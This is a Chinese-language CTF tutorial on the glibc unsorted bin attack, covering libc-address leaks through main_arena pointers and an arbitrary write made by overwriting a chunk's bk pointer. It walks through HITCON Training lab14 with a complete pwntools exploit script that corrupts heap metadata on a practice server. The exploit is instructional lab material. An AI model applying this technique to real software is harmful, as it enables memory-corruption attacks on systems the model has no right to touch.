堆的unsorted bin attack利用

  • 堆的unsorted bin attack利用已关闭评论
  • 6 views
  • A+

介绍

概述

unsorted bin在堆题中常用于泄露libc地址,通过unsorted bin可以向任意一个地址写入一个不可控的大数字,使用前提是需要能够控制unsorted bin中chunk的bk指针。

下面介绍原理前先复习下有关unsorted bin的知识。

unsorted bin使用先入先出的算法存储chunk,因为它只有一个双链表,所以存储chunk时不像其他bins按照chunk的size有序存储,它可以存储。glibc2.26之前unsorted bin有类似缓存的作用。

free chunk时不与top chunk相邻且size如果大于0x80(64位机器)会优先将chunk放入unsorted bin中,malloc_consolidate时会将合并的chunk放入unsorted bin中。

malloc chunk时如果fastbin中没有合适的chunk,会先去unsorted bin中寻找chunk,如果在unsorted bin中能找到合适的chunk会返回chunk,如果不合适但unsorted bin中有chunk大于要malloc的chunk会将unsorted bin中的chunk切割下来分配给malloc的chunk,剩下的chunk如果大于MINSIZE会放入chunk,unsorted bin中找不到能够分配的chunk之后才去top chunk切割chunk,同时会将unsorted bin中的chunk放入small bin和large bin中。

利用

泄露libc基地址

如果unsorted bin中只有一个chunk的话,chunk的fd、bk指针都指向main_arena+偏移:

wKg0C2COrd2AAJtFAADajNpUVDI079.png

利用一个uaf漏洞可以打印出来main_arena+偏移的地址,另外因为main_arena在libc的.data段是固定的,所以可以通过ida(定位malloc_trim函数查找main_arena地址)等找到main_arena在libc上的地址,然后利用泄露出来的main_arena+偏移减去偏移(这里是96)和main_arena在libc中的地址即可获得libc的基地址,上图的偏移是96,一般64位机器的偏移量是88,32位机器是44,每个libc的偏移是固定的,熟悉后获得main_arena的地址后直接减去固定的偏移即是libc基地址。

任意地址写

这里的任意地址写的确是任意地址写,只是写入的内容不可控。

unsorted bin中没有chunk时unsorted bin的fd和bk指针都指向prev_size,当放入一个chunk后结构时这样:

wKg0C2COrhCALssgAAB4v1j5l8c581.png

wKg0C2CPoDiAcoHdAADN6LnQugM542.png

如上图main_arena+96可以看做bin的prev_size,main_arena+112是bin的fd指针,main_arena+120是bin的bk指针,正好main_arena+112和main_arena+128都指向chunk的prev_size处0x555555757680。

malloc.c中有两行关于unsorted bin的代码,在malloc unsorted bin中的chunk时使用,能够完成任意地址写也是使用这两行代码,具体如何利用后面会说明:

wKg0C2COriKAcdJYAAAohlE1saw101.png

先利用其他漏洞使chunk的bk指针指向目的地址-0x10的地址,此时的结构就是:

wKg0C2COrjiAAPcGAAB0ijNE30Y921.png

再malloc unsorted bin中的chunk。现在解释下前面的2行代码的作用,第一行代码在unsorted bin中的chunk被malloc时使bin的bk指针指向目的地址,第二行代码使目的地址-0x10指向bin。这个过程中因为chunk被malloc出去了,unsorted bin会把目的地址看作chunk,此时的目的地址-0x10处会当做fd指针指向unsorted bin的prev_size地址处,fd即目的地址-0x10会保存prev_size的地址(prev_size的地址特别大但不可控),在这个过程中没有检查目的地址-0x18。

malloc之后的结构是:

wKg0C2COrmOAB88NAAB7rDSXtS0581.png

此方法因为局限性太大一般多与其他技术配合使用,如与fastbin attack配合使用,修改global_max_fast全局变量,使其变的特别大,之后申请的chunk基本都属于fast bin,就可以使用fastbin attack完成攻击。再或者修改_IO_list_all伪造_IO_FILE进行攻击。

例子

本来想找个修改global_max_fast的例题讲解但没找到题,就以HITCON Training lab14 magic heap为例介绍下吧。

直接放exp后门介绍作用:

from pwn import *
p = remote('node3.buuoj.cn',29203)

def create(size, content):
p.recvuntil(":")
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)

def edit(idx, size, content):
p.recvuntil(":")
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)

def delete(idx):
p.recvuntil(":")
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))

create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)

target = 0x6020c0 - 0x10

edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")
p.recvuntil(":")
p.sendline("4869")
p.interactive()

分析

checksec:

wKg0C2CPePGAaIBaAABIa291PGc367.png

main:

main函数中有一个判断会触发后门:

wKg0C2CPeQeAItQKAACSfyhKCzU957.png

wKg0C2CPeRGAWelJAAAdgEqFuRo012.png

菜单:

wKg0C2CPeTGAGfoLAAByoHoYgpo743.png

只有3个选择,create、edit和delete。

create:

wKg0C2CPeUATz4oAADyS28wp8U383.png

最多能创建10个chunk,chunk的size不做限制。

edit:

wKg0C2CPeWuAOhVWAADp30eq3T8596.png

先输入一个size再向chunk中输入内容,并且输入的size大小不做限制,说明可以产生堆溢出。

delete:

wKg0C2CPeYSAO1agAADGTY02Bzs121.png

free chunk后置0没有uaf漏洞。

思路

上面的分析中可以发现本题非常简单,只需要使magic>0x1305触发后门即可获得flag,并且没有开PIE,magic的内存地址直接在ida中找到。

首先分配3个chunk,使用第一个分配的chunk chunk1溢出chunk2的bk指针,使其指向目的地址,chunk3为了在free chunk2不会与top chunk合并。

create(0x30, "aaaa")
create(0x80, "bbbb")
create(0x30, "cccc")
delete(1)

然后修改magic的值,通过chunk1溢出chunk2,修改chunk2的bk指针指向magic-0x10处,之所以是magic-0x10是因为前面后门修改的是被看做fd指针的地址,减去0x10当做prev_size和size,之后再申请chunk1触发unsorted bin attack使magic写入unsorted bin的地址。

target = 0x6020c0 - 0x10

edit(0, 0x50, b"a" * 0x30 + p64(0) + p64(0x91) + p64(0) + p64(target))
create(0x80, "aaaa")

再按照程序逻辑输入4869去使程序判断magic>0x1305触发后门交互即可:

p.recvuntil(":")
p.sendline("4869")
p.interactive()

小结

这次发现学习或者总结了新技术后必须去做一道合适的题加深理解,一定要自己亲手动手调试。

参考

https://wiki.x10sec.org/pwn/linux/glibc-heap/unsorted_bin_attack-zh/

https://xz.aliyun.com/t/7251#toc-7

相关推荐: CVE-2021-26900 Win32k漏洞的提权

译文声明 本文来自https://www.zerodayinitiative.com/blog/2021/5/3/cve-2021-26900-privilege-escalation-via-a-use-after-free-vulnerability-in…